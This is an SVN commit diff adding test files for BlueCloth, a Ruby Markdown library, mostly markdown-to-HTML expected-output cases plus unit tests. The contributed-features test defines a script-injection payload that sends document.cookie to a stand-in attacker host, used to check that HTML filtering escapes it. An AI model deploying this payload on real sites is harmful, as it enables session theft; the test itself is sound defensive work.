+<p>This is a chunk of code:</p>
+
+<pre><code>some.code &gt; some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (literal tab, no colon)
+<<<
+This is a chunk of code
+
+	some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code</p>
+
+<pre><code>some.code &gt; some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (tab-width spaces)
+<<<
+This is a chunk of code:
+
+    some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code:</p>
+
+<pre><code>some.code &gt; some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Para plus code block (tab-width spaces, no colon)
+<<<
+This is a chunk of code
+
+    some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>This is a chunk of code</p>
+
+<pre><code>some.code &gt; some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Colon with preceeding space
+<<<
+A regular paragraph, without a colon. :
+
+    This is a code block.
+
+Some stuff.
+--- Should become:
+<p>A regular paragraph, without a colon. :</p>
+
+<pre><code>This is a code block.
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Single colon
+<<<
+:
+	
+	some.code > some.other_code
+
+Some stuff.
+--- Should become:
+<p>:</p>
+
+<pre><code>some.code &gt; some.other_code
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+# Preserve leading whitespace (Bug #541)
+<<<
+Examples:
+
+          # (Waste character because first line is flush left !!!)
+          # Example script1
+          x = 1
+          x += 1
+          puts x
+
+Some stuff.
+--- Should become:
+<p>Examples:</p>
+
+<pre><code>      # (Waste character because first line is flush left !!!)
+      # Example script1
+      x = 1
+      x += 1
+      puts x
+</code></pre>
+
+<p>Some stuff.</p>
+>>>
+
+
+### [Horizontal Rules]
+
+# Hrule 1
+<<<
+* * *
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 2
+<<<
+***
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 3
+<<<
+*****
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 4
+<<<
+- - -
+--- Should become:
+<hr/>
+>>>
+
+# Hrule 5
+<<<
+---------------------------------------
+--- Should become:
+<hr/>
+>>>
+
+
+### [Titles]
+
+# setext-style h1
+<<<
+Title Text
+=
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+Title Text
+===
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+Title Text
+==========
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+# setext-style h2
+<<<
+Title Text
+-
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+Title Text
+---
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+Title Text
+----------
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+# ATX-style h1
+<<<
+# Title Text
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text #
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text ###
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+<<<
+# Title Text #####
+--- Should become:
+<h1>Title Text</h1>
+>>>
+
+# ATX-style h2
+<<<
+## Title Text
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text #
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text ###
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+<<<
+## Title Text #####
+--- Should become:
+<h2>Title Text</h2>
+>>>
+
+# ATX-style h3
+<<<
+### Title Text
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text #
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text ###
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+<<<
+### Title Text #####
+--- Should become:
+<h3>Title Text</h3>
+>>>
+
+# ATX-style h4
+<<<
+#### Title Text
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text #
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text ###
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+<<<
+#### Title Text #####
+--- Should become:
+<h4>Title Text</h4>
+>>>
+
+# ATX-style h5
+<<<
+##### Title Text
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text #
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text ###
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+<<<
+##### Title Text #####
+--- Should become:
+<h5>Title Text</h5>
+>>>
+
+# ATX-style h6
+<<<
+###### Title Text
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text #
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text ###
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+<<<
+###### Title Text #####
+--- Should become:
+<h6>Title Text</h6>
+>>>
+
+
+### [Blockquotes]
+
+# Regular 1-level blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+--- Should become:
+<blockquote>
+    <p>Email-style angle brackets
+    are used for blockquotes.</p>
+</blockquote>
+>>>
+
+# Doubled blockquotes
+<<<
+> > And, they can be nested.
+--- Should become:
+<blockquote>
+    <blockquote>
+        <p>And, they can be nested.</p>
+    </blockquote>
+</blockquote>
+>>>
+
+# Nested blockquotes
+<<<
+> Email-style angle brackets
+> are used for blockquotes.
+
+> > And, they can be nested.
+--- Should become:
+<blockquote>
+    <p>Email-style angle brackets
+    are used for blockquotes.</p>
+    
+    <blockquote>
+        <p>And, they can be nested.</p>
+    </blockquote>
+</blockquote>
+>>>
+
+# Lazy blockquotes
+<<<
+> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
+
+> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<blockquote>
+    <p>This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet,
+    consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
+    Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</p>
+    
+    <p>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse
+    id sem consectetuer libero luctus adipiscing.</p>
+</blockquote>
+>>>
+
+
+# Blockquotes containing other markdown elements
+<<<
+> ## This is a header.
+> 
+> 1.   This is the first list item.
+> 2.   This is the second list item.
+> 
+> Here's some example code:
+> 
+>     return shell_exec("echo $input | $markdown_script");
+--- Should become:
+<blockquote>
+    <h2>This is a header.</h2>
+    
+    <ol>
+    <li>This is the first list item.</li>
+    <li>This is the second list item.</li>
+    </ol>
+    
+    <p>Here's some example code:</p>
+
+<pre><code>return shell_exec("echo $input | $markdown_script");
+</code></pre>
+</blockquote>
+>>>
+
+# Blockquotes with a <pre> section
+<<<
+> The best approximation of the problem is the following code:
+>
+> <pre>
+> foo + bar; foo.factorize; foo.display
+> </pre>
+> 
+> This should result in an error on any little-endian platform.
+--- Should become:
+<blockquote>
+    <p>The best approximation of the problem is the following code:</p>
+
+<pre>
+foo + bar; foo.factorize; foo.display
+</pre>
+    
+    <p>This should result in an error on any little-endian platform.</p>
+</blockquote>
+>>>
+
+
+
+### [Images]
+
+# Inline image with title
+<<<
+![alt text](/path/img.jpg "Title")
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+# Inline image with title (single-quotes)
+<<<
+![alt text](/path/img.jpg 'Title')
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+# Inline image with title (with embedded quotes)
+<<<
+![alt text](/path/img.jpg 'The "Title" Image')
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text" title="The &quot;Title&quot; Image"/></p>
+>>>
+
+# Inline image without title
+<<<
+![alt text](/path/img.jpg)
+--- Should become:
+<p><img src="/path/img.jpg" alt="alt text"/></p>
+>>>
+
+# Inline image with quoted alt text
+<<<
+![the "alt text"](/path/img.jpg)
+--- Should become:
+<p><img src="/path/img.jpg" alt="the &quot;alt text&quot;"/></p>
+>>>
+
+
+# Reference image
+<<<
+![alt text][id]
+
+[id]: /url/to/img.jpg "Title"
+--- Should become:
+<p><img src="/url/to/img.jpg" alt="alt text" title="Title"/></p>
+>>>
+
+
+
+### [Emphasis]
+
+# Emphasis (<em>) with asterisks
+<<<
+Use *single splats* for emphasis.
+--- Should become:
+<p>Use <em>single splats</em> for emphasis.</p>
+>>>
+
+# Emphasis (<em>) with underscores
+<<<
+Use *underscores* for emphasis.
+--- Should become:
+<p>Use <em>underscores</em> for emphasis.</p>
+>>>
+
+# Strong emphasis (<strong>) with asterisks
+<<<
+Use **double splats** for more emphasis.
+--- Should become:
+<p>Use <strong>double splats</strong> for more emphasis.</p>
+>>>
+
+# Strong emphasis (<strong>) with underscores
+<<<
+Use __doubled underscores__ for more emphasis.
+--- Should become:
+<p>Use <strong>doubled underscores</strong> for more emphasis.</p>
+>>>
+
+# Combined emphasis types 1
+<<<
+Use *single splats* or _single unders_ for normal emphasis.
+--- Should become:
+<p>Use <em>single splats</em> or <em>single unders</em> for normal emphasis.</p>
+>>>
+
+# Combined emphasis types 2
+<<<
+Use _single unders_ for normal emphasis
+or __double them__ for strong emphasis.
+--- Should become:
+<p>Use <em>single unders</em> for normal emphasis
+or <strong>double them</strong> for strong emphasis.</p>
+>>>
+
+# Emphasis containing escaped metachars
+<<<
+You can include literal *\*splats\** by escaping them.
+--- Should become:
+<p>You can include literal <em>*splats*</em> by escaping them.</p>
+>>>
+
+# Two instances of asterisked emphasis on one line
+<<<
+If there's *two* splatted parts on a *single line* it should still work.
+--- Should become:
+<p>If there's <em>two</em> splatted parts on a <em>single line</em> it should still work.</p>
+>>> 
+
+# Two instances of double asterisked emphasis on one line
+<<<
+This **doubled** one should **work too**.
+--- Should become:
+<p>This <strong>doubled</strong> one should <strong>work too</strong>.</p>
+>>> 
+
+# Two instances of underscore emphasis on one line
+<<<
+If there's _two_ underbarred parts on a _single line_ it should still work.
+--- Should become:
+<p>If there's <em>two</em> underbarred parts on a <em>single line</em> it should still work.</p>
+>>> 
+
+# Two instances of doubled underscore emphasis on one line
+<<<
+This __doubled__ one should __work too__.
+--- Should become:
+<p>This <strong>doubled</strong> one should <strong>work too</strong>.</p>
+>>> 
+
+# Initial emphasis (asterisk)
+<<<
+*Something* like this should be bold.
+--- Should become:
+<p><em>Something</em> like this should be bold.</p>
+>>>
+
+# Initial emphasis (underscore)
+<<<
+_Something_ like this should be bold.
+--- Should become:
+<p><em>Something</em> like this should be bold.</p>
+>>>
+
+# Initial strong emphasis (asterisk)
+<<<
+**Something** like this should be bold.
+--- Should become:
+<p><strong>Something</strong> like this should be bold.</p>
+>>>
+
+# Initial strong emphasis (underscore)
+<<<
+__Something__ like this should be bold.
+--- Should become:
+<p><strong>Something</strong> like this should be bold.</p>
+>>>
+
+# Partial-word emphasis (Bug #568)
+<<<
+**E**xtended **TURN**
+--- Should become:
+<p><strong>E</strong>xtended <strong>TURN</strong></p>
+>>>
+
+
+
+### [Links]
+
+# Inline link, no title
+<<<
+An [example](http://url.com/).
+--- Should become:
+<p>An <a href="http://url.com/">example</a>.</p>
+>>>
+
+# Inline link with title
+<<<
+An [example](http://url.com/ "Check out url.com!").
+--- Should become:
+<p>An <a href="http://url.com/" title="Check out url.com!">example</a>.</p>
+>>>
+
+# Reference-style link, no title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/
+--- Should become:
+<p>An <a href="http://www.bluefi.com/">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with quoted title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air."
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with paren title
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ (Check out our air.)
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+# Reference-style link with one of each (hehe)
+<<<
+An [example][ex] reference-style link.
+
+[ex]: http://www.bluefi.com/ "Check out our air.)
+--- Should become:
+<p>An <a href="http://www.bluefi.com/" title="Check out our air.">example</a> reference-style link.</p>
+>>>
+
+" <- For syntax highlighting
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part] [ex] from
+the reference part with a single space.
+
+[ex]: http://www.treefrog.com/ "for some reason"
+--- Should become:
+<p>You can split the <a href="http://www.treefrog.com/" title="for some reason">linked part</a> from
+the reference part with a single space.</p>
+>>>
+
+# Reference-style link with intervening space
+<<<
+You can split the [linked part]
+ [ex] from the reference part
+with a newline in case your editor wraps it there, I guess.
+
+[ex]: http://www.treefrog.com/
+--- Should become:
+<p>You can split the <a href="http://www.treefrog.com/">linked part</a> from the reference part
+with a newline in case your editor wraps it there, I guess.</p>
+>>>
+
+# Reference-style anchors
+<<<
+I get 10 times more traffic from [Google] [1] than from
+[Yahoo] [2] or [MSN] [3].
+
+  [1]: http://google.com/        "Google"
+  [2]: http://search.yahoo.com/  "Yahoo Search"
+  [3]: http://search.msn.com/    "MSN Search"
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Implicit name-link shortcut anchors
+<<<
+I get 10 times more traffic from [Google][] than from
+[Yahoo][] or [MSN][].
+
+  [google]: http://google.com/        "Google"
+  [yahoo]:  http://search.yahoo.com/  "Yahoo Search"
+  [msn]:    http://search.msn.com/    "MSN Search"
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a> than from
+<a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or <a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Inline anchors
+<<<
+I get 10 times more traffic from [Google](http://google.com/ "Google")
+than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or
+[MSN](http://search.msn.com/ "MSN Search").
+--- Should become:
+<p>I get 10 times more traffic from <a href="http://google.com/" title="Google">Google</a>
+than from <a href="http://search.yahoo.com/" title="Yahoo Search">Yahoo</a> or
+<a href="http://search.msn.com/" title="MSN Search">MSN</a>.</p>
+>>>
+
+# Graceful fail for unclosed brackets (and bug #524)
+<<<
+This is just a [bracket opener; it should fail gracefully.
+--- Should become:
+<p>This is just a [bracket opener; it should fail gracefully.</p>
+>>>
+
+# Unresolved reference-style links (Bug #620)
+<<<
+This is an unresolved [url][1].
+--- Should become:
+<p>This is an unresolved [url][1].</p>
+>>>
+
+
+### [Auto-links]
+
+# Plain HTTP link
+<<<
+This is a reference to <http://www.FaerieMUD.org/>. You should follow it.
+--- Should become:
+<p>This is a reference to <a href="http://www.FaerieMUD.org/">http://www.FaerieMUD.org/</a>. You should follow it.</p>
+>>>
+
+# FTP link
+<<<
+Why not download your very own chandelier from <ftp://ftp.usuc.edu/pub/foof/mir/>?
+--- Should become:
+<p>Why not download your very own chandelier from <a href="ftp://ftp.usuc.edu/pub/foof/mir/">ftp://ftp.usuc.edu/pub/foof/mir/</a>?</p>
+>>>
+
+
+### [Lists]
+
+# Unordered list
+<<<
+*   Red
+*   Green
+*   Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/alt bullets
+<<<
+-   Red
+-   Green
+-   Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/alt bullets 2
+<<<
++   Red
++   Green
++   Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Unordered list w/mixed bullets
+<<<
++   Red
+-   Green
+*   Blue
+--- Should become:
+<ul>
+<li>Red</li>
+<li>Green</li>
+<li>Blue</li>
+</ul>
+>>>
+
+# Ordered list
+<<<
+1.  Bird
+2.  McHale
+3.  Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Ordered list, any numbers
+<<<
+1.  Bird
+1.  McHale
+1.  Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Ordered list, any numbers 2
+<<<
+3.  Bird
+1.  McHale
+8.  Parish
+--- Should become:
+<ol>
+<li>Bird</li>
+<li>McHale</li>
+<li>Parish</li>
+</ol>
+>>>
+
+# Hanging indents
+<<<
+*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+    viverra nec, fringilla in, laoreet vitae, risus.
+*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+    Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ul>
+<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.</li>
+<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.</li>
+</ul>
+>>>
+
+# Lazy indents
+<<<
+*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.
+*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ul>
+<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
+Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
+viverra nec, fringilla in, laoreet vitae, risus.</li>
+<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
+Suspendisse id sem consectetuer libero luctus adipiscing.</li>
+</ul>
+>>>
+
+# Paragraph wrapped list items
+<<<
+*   Bird
+
+*   Magic
+--- Should become:
+<ul>
+<li><p>Bird</p></li>
+<li><p>Magic</p></li>
+</ul>
+>>>
+
+# Multi-paragraph list items
+<<<
+1.  This is a list item with two paragraphs. Lorem ipsum dolor
+    sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+    mi posuere lectus.
+
+    Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+    vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+    sit amet velit.
+
+2.  Suspendisse id sem consectetuer libero luctus adipiscing.
+--- Should become:
+<ol>
+<li><p>This is a list item with two paragraphs. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit. Aliquam hendrerit
+mi posuere lectus.</p>
+
+<p>Vestibulum enim wisi, viverra nec, fringilla in, laoreet
+vitae, risus. Donec sit amet nisl. Aliquam semper ipsum
+sit amet velit.</p></li>
+<li><p>Suspendisse id sem consectetuer libero luctus adipiscing.</p></li>
+</ol>
+>>>
+
+# Lazy multi-paragraphs
+<<<
+*   This is a list item with two paragraphs.
+
+    This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.
+
+*   Another item in the same list.
+--- Should become:
+<ul>
+<li><p>This is a list item with two paragraphs.</p>
+
+<p>This is the second paragraph in the list item. You're
+only required to indent the first line. Lorem ipsum dolor
+sit amet, consectetuer adipiscing elit.</p></li>
+<li><p>Another item in the same list.</p></li>
+</ul>
+>>>
+
+# Blockquote in list item
+<<<
+*   A list item with a blockquote:
+
+    > This is a blockquote
+    > inside a list item.
+--- Should become:
+<ul>
+<li><p>A list item with a blockquote:</p>
+
+<blockquote>
+    <p>This is a blockquote
+    inside a list item.</p>
+</blockquote></li>
+</ul>
+>>>
+
+# Code block in list item
+<<<
+*   A list item with a code block:
+
+        <code goes here>
+--- Should become:
+<ul>
+<li><p>A list item with a code block:</p>
+
+<pre><code>&lt;code goes here&gt;
+</code></pre></li>
+</ul>
+>>>
+
+# Backslash-escaped number-period-space
+<<<
+1986\. What a great season.
+--- Should become:
+<p>1986. What a great season.</p>
+>>>
+

Added: packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,57 @@
+#!/usr/bin/ruby
+#
+# Unit test for bugs found in BlueCloth
+# $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+	basedir = File::dirname( __FILE__ )
+	require File::join( basedir, 'bctestcase' )
+end
+
+
+require 'timeout'
+
+### This test case tests ...
+class BugsTestCase < BlueCloth::TestCase
+	BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
+
+	### Test to be sure the README file can be transformed.
+	def test_00_slow_block_regex
+		contents = File::read( File::join(BaseDir,"README") )
+		bcobj = BlueCloth::new( contents )
+
+		assert_nothing_raised {
+			timeout( 2 ) do
+				bcobj.to_html
+			end
+		}
+	end
+
+	### :TODO: Add more documents and test their transforms.
+
+	def test_10_regexp_engine_overflow_bug
+		contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
+		bcobj = BlueCloth::new( contents )
+
+		assert_nothing_raised {
+			bcobj.to_html
+		}
+	end
+	
+	def test_15_regexp_engine_overflow_bug2
+		contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
+		bcobj = BlueCloth::new( contents )
+
+		assert_nothing_raised {
+			bcobj.to_html
+		}
+	end
+	
+end
+
+
+__END__
+

Added: packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,132 @@
+#!/usr/bin/ruby
+#
+# Unit test for contributed features 
+# $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
+#
+# Copyright (c) 2004 The FaerieMUD Consortium.
+# 
+
+if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+	basedir = File::dirname( __FILE__ )
+	require File::join( basedir, 'bctestcase' )
+end
+
+
+
+### This test case tests ...
+class ContribTestCase < BlueCloth::TestCase
+
+	DangerousHtml =
+		"<script>document.location='http://www.hacktehplanet.com" +
+		"/cgi-bin/cookie.cgi?' + document.cookie</script>"
+	DangerousHtmlOutput =
+		"<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
+		"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
+	DangerousStylesOutput =
+		"<script>document.location='http://www.hacktehplanet.com" +
+		"/cgi-bin/cookie.cgi?' + document.cookie</script>"
+	NoLessThanHtml = "Foo is definitely > than bar"
+	NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
+
+
+	### HTML filter options contributed by Florian Gross.
+
+	### Test the :filter_html restriction
+	def test_10_filter_html
+		printTestHeader "filter_html Option"
+		rval = bc = nil
+
+		# Test as a 1st-level param
+		assert_nothing_raised {
+			bc = BlueCloth::new( DangerousHtml, :filter_html )
+		}
+		assert_instance_of BlueCloth, bc
+
+		# Accessors
+		assert_nothing_raised { rval = bc.filter_html }
+		assert_equal true, rval
+		assert_nothing_raised { rval = bc.filter_styles }
+		assert_equal nil, rval
+
+		# Test rendering with filters on
+		assert_nothing_raised { rval = bc.to_html }
+		assert_equal DangerousHtmlOutput, rval
+
+		# Test setting it in a sub-array
+		assert_nothing_raised {
+			bc = BlueCloth::new( DangerousHtml, [:filter_html] )
+		}
+		assert_instance_of BlueCloth, bc
+		
+		# Accessors
+		assert_nothing_raised { rval = bc.filter_html }
+		assert_equal true, rval
+		assert_nothing_raised { rval = bc.filter_styles }
+		assert_equal nil, rval
+
+		# Test rendering with filters on
+		assert_nothing_raised { rval = bc.to_html }
+		assert_equal DangerousHtmlOutput, rval
+	end
+
+
+	### Test the :filter_styles restriction
+	def test_20_filter_styles
+		printTestHeader "filter_styles Option"
+		rval = bc = nil
+
+		# Test as a 1st-level param
+		assert_nothing_raised {
+			bc = BlueCloth::new( DangerousHtml, :filter_styles )
+		}
+		assert_instance_of BlueCloth, bc
+		
+		# Accessors
+		assert_nothing_raised { rval = bc.filter_styles }
+		assert_equal true, rval
+		assert_nothing_raised { rval = bc.filter_html }
+		assert_equal nil, rval
+
+		# Test rendering with filters on
+		assert_nothing_raised { rval = bc.to_html }
+		assert_equal DangerousStylesOutput, rval
+
+		# Test setting it in a subarray
+		assert_nothing_raised {
+			bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
+		}
+		assert_instance_of BlueCloth, bc
+
+		# Accessors
+		assert_nothing_raised { rval = bc.filter_styles }
+		assert_equal true, rval
+		assert_nothing_raised { rval = bc.filter_html }
+		assert_equal nil, rval
+
+		# Test rendering with filters on
+		assert_nothing_raised { rval = bc.to_html }
+		assert_equal DangerousStylesOutput, rval
+
+	end
+
+
+	### Test to be sure filtering when there's no opening angle brackets doesn't
+	### die.
+	def test_30_filter_no_less_than
+		printTestHeader "filter without a less-than"
+		rval = bc = nil
+
+		# Test as a 1st-level param
+		assert_nothing_raised {
+			bc = BlueCloth::new( NoLessThanHtml, :filter_html )
+		}
+		assert_instance_of BlueCloth, bc
+
+		assert_nothing_raised { rval = bc.to_html }
+		assert_equal NoLessThanOutput, rval
+	end
+	
+
+
+end
+

Added: packages/libbluecloth-ruby/trunk/tests/bctestcase.rb
===================================================================
--- packages/libbluecloth-ruby/trunk/tests/bctestcase.rb	2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/tests/bctestcase.rb	2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,274 @@
+#!/usr/bin/ruby
+# 
+# This is an abstract test case class for building Test::Unit unit tests for the
+# BlueCloth module. It consolidates most of the maintenance work that must be
+# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
+# as adding some other useful methods that make building, maintaining, and using
+# the tests for programming much easier (IMHO). See the docs for Test::Unit for
+# more info on the particulars of unit testing.
+# 
+# == Synopsis
+# 
+#	# Allow the test to be run from anywhere:
+#	if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
+#		basedir = File::dirname( __FILE__ )
+#		require File::join( basedir, 'bctestcase' )
+#	end
+#
+#	class MySomethingTest < BlueCloth::TestCase
+#		def setup
+#			super()
+#			@foo = 'bar'
+#		end
+#
+#		def test_00_something
+#			obj = nil
+#			assert_nothing_raised { obj = MySomething::new }
+#			assert_instance_of MySomething, obj
+#			assert_respond_to :myMethod, obj
+#		end
+#
+#	end
+# 
+# == Rcsid
+# 
+# $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
+# 
+# == Authors
+# 
+# * Michael Granger <ged at FaerieMUD.org>
+# 
+#:include: COPYRIGHT
+#
+#---
+#
+# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
+#
+
+$DebugPattern ||= nil
+
+begin
+	basedir = File::dirname( File::dirname(__FILE__) )
+	unless $LOAD_PATH.include?( "#{basedir}/lib" )
+		$LOAD_PATH.unshift "#{basedir}/lib"
+	end
+end
+
+require "test/unit"
+require "bluecloth"
+
+
+class BlueCloth
+
+	### The abstract base class for BlueCloth test cases.
+	class TestCase < Test::Unit::TestCase
+
+		@methodCounter = 0
+		@setupBlocks = []
+		@teardownBlocks = []
+		class << self
+			attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
+		end
+
+
+		### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
+		### and accessors to the inheriting class.
+		def self::inherited( klass )
+			klass.module_eval {
+				@setupBlocks = []
+				@teardownBlocks = []
+
+				class << self
+					attr_accessor :setupBlocks, :teardownBlocks
+				end
+			}
+			klass.methodCounter = 0
+		end
+		
+
+
+		### Output the specified <tt>msgs</tt> joined together to
+		### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
+		def self::debugMsg( *msgs )
+			return unless $DEBUG
+			self.message "DEBUG>>> %s" % msgs.join('')
+		end
+
+		### Output the specified <tt>msgs</tt> joined together to
+		### <tt>STDOUT</tt>.
+		def self::message( *msgs )
+			$stderr.puts msgs.join('')
+			$stderr.flush
+		end
+
+
+		### Add a setup block for the current testcase
+		def self::addSetupBlock( &block )
+			self.methodCounter += 1
+			newMethodName = "setup_#{self.methodCounter}".intern
+			define_method( newMethodName, &block )
+			self.setupBlocks.push newMethodName
+		end
+			
+		### Add a teardown block for the current testcase
+		def self::addTeardownBlock( &block )
+			self.methodCounter += 1
+			newMethodName = "teardown_#{self.methodCounter}".intern
+			define_method( newMethodName, &block )
+			self.teardownBlocks.unshift newMethodName
+		end
+			
+
+		#############################################################
+		###	I N S T A N C E   M E T H O D S
+		#############################################################
+
+		### A dummy test method to allow this Test::Unit::TestCase to be
+		### subclassed without complaining about the lack of tests.
+		def test_0_dummy
+		end
+
+
+		### Forward-compatibility method for namechange in Test::Unit
+		def setup( *args )
+			self.class.setupBlocks.each {|sblock|
+				debugMsg "Calling setup block method #{sblock}"
